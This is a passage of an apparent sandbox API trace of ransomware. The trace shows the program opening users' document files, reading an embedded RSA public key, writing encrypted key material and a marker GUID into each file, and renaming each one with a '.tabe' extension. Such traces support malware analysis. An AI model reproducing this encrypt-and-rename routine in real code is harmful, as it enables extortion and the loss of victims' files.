HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\1UkUCQS3kUpsehdU.odt.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\z0uy\\1ukucqs3kupsehdu.odt.tabe")) returned 1 [0127.746] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b942c0, ftCreationTime.dwHighDateTime=0x1d5e60e, ftLastAccessTime.dwLowDateTime=0xd54c4c60, ftLastAccessTime.dwHighDateTime=0x1d5e015, ftLastWriteTime.dwLowDateTime=0xd54c4c60, ftLastWriteTime.dwHighDateTime=0x1d5e015, nFileSizeHigh=0x0, nFileSizeLow=0x5251, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="fhk0vP5p.odp", cAlternateFileName="")) returned 1 [0127.746] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\fhk0vP5p.odp") returned=".odp" [0127.746] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\fhk0vP5p.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\z0uy\\fhk0vp5p.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.746] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=21073) returned 1 [0127.746] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.747] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x522b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.747] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.748] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x5251, lpOverlapped=0x0) returned 1 [0127.749] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.749] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.749] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.749] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.750] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.750] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.750] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.750] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.750] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.750] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.750] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.750] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.750] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.750] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.751] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5251, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.751] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.751] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.751] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.751] CloseHandle (hObject=0x618) returned 1 [0127.752] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\fhk0vP5p.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\z0uy\\fhk0vp5p.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\fhk0vP5p.odp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\z0uy\\fhk0vp5p.odp.tabe")) returned 1 [0127.753] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65d3d170, ftCreationTime.dwHighDateTime=0x1d5e68f, ftLastAccessTime.dwLowDateTime=0xff4ea2c0, ftLastAccessTime.dwHighDateTime=0x1d5de93, ftLastWriteTime.dwLowDateTime=0xff4ea2c0, ftLastWriteTime.dwHighDateTime=0x1d5de93, nFileSizeHigh=0x0, nFileSizeLow=0x8711, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="k15AXlDin8P.pps", cAlternateFileName="K15AXL~1.PPS")) returned 1 [0127.753] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\k15AXlDin8P.pps") returned=".pps" [0127.753] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\k15AXlDin8P.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\z0uy\\k15axldin8p.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.754] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=34577) returned 1 [0127.754] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.755] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x86eb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.755] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.756] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x8711, lpOverlapped=0x0) returned 1 [0127.757] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.757] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.757] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.757] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.758] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.758] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.758] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.758] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.758] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.758] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.758] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.758] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.758] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.758] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.758] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8711, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.758] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.759] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.759] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.759] CloseHandle (hObject=0x618) returned 1 [0127.759] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\k15AXlDin8P.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\z0uy\\k15axldin8p.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\k15AXlDin8P.pps.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\z0uy\\k15axldin8p.pps.tabe")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a4e6f0, ftCreationTime.dwHighDateTime=0x1d5e49c, ftLastAccessTime.dwLowDateTime=0x81a8bd90, ftLastAccessTime.dwHighDateTime=0x1d5e75a, ftLastWriteTime.dwLowDateTime=0x81a8bd90, ftLastWriteTime.dwHighDateTime=0x1d5e75a, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="lHd48Oh3fdGcq KJ8.odt", cAlternateFileName="LHD48O~1.ODT")) returned 1 [0127.761] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\lHd48Oh3fdGcq KJ8.odt") returned=".odt" [0127.761] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\lHd48Oh3fdGcq KJ8.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\z0uy\\lhd48oh3fdgcq kj8.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.762] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=1227) returned 1 [0127.762] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.763] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.763] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.764] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x4cb, lpOverlapped=0x0) returned 1 [0127.765] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.765] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.765] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.765] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866d90) returned 1 [0127.765] CryptCreateHash (in: hProv=0x866d90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.765] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.765] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.766] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.766] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.766] CryptReleaseContext (hProv=0x866d90, dwFlags=0x0) returned 1 [0127.766] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.766] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.766] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.766] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af7be8 [0127.766] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.766] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.766] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.766] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.766] CloseHandle (hObject=0x618) returned 1 [0127.767] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\lHd48Oh3fdGcq KJ8.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\z0uy\\lhd48oh3fdgcq kj8.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\KHLX_z_BzgqT1ccr3g5\\z0uy\\lHd48Oh3fdGcq KJ8.odt.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\khlx_z_bzgqt1ccr3g5\\z0uy\\lhd48oh3fdgcq kj8.odt.tabe")) returned 1 [0127.768] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a4e6f0, ftCreationTime.dwHighDateTime=0x1d5e49c, ftLastAccessTime.dwLowDateTime=0x81a8bd90, ftLastAccessTime.dwHighDateTime=0x1d5e75a, ftLastWriteTime.dwLowDateTime=0x81a8bd90, ftLastWriteTime.dwHighDateTime=0x1d5e75a, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="lHd48Oh3fdGcq KJ8.odt", cAlternateFileName="LHD48O~1.ODT")) returned 0 [0127.768] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.768] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.768] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.768] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\fNY5gYIAYgax1tk7\\") returned="fNY5gYIAYgax1tk7\\" [0127.768] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\") returned="2_a9IgOQoUtvE0\\" [0127.768] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\") returned="FtYbuj0\\" [0127.768] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0127.769] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.769] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.769] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.769] PathFindFileNameW (pszPath="") returned="" [0127.769] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FtYbuj0\\2_a9IgOQoUtvE0\\fNY5gYIAYgax1tk7\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5fe0930, ftCreationTime.dwHighDateTime=0x1d5dd7c, ftLastAccessTime.dwLowDateTime=0xee7cf380, ftLastAccessTime.dwHighDateTime=0x1d5e5c2, ftLastWriteTime.dwLowDateTime=0xee7cf380, ftLastWriteTime.dwHighDateTime=0x1d5e5c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.769] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5fe0930, ftCreationTime.dwHighDateTime=0x1d5dd7c, ftLastAccessTime.dwLowDateTime=0xee7cf380, ftLastAccessTime.dwHighDateTime=0x1d5e5c2, ftLastWriteTime.dwLowDateTime=0xee7cf380, ftLastWriteTime.dwHighDateTime=0x1d5e5c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.769] FindNextFileW (in: 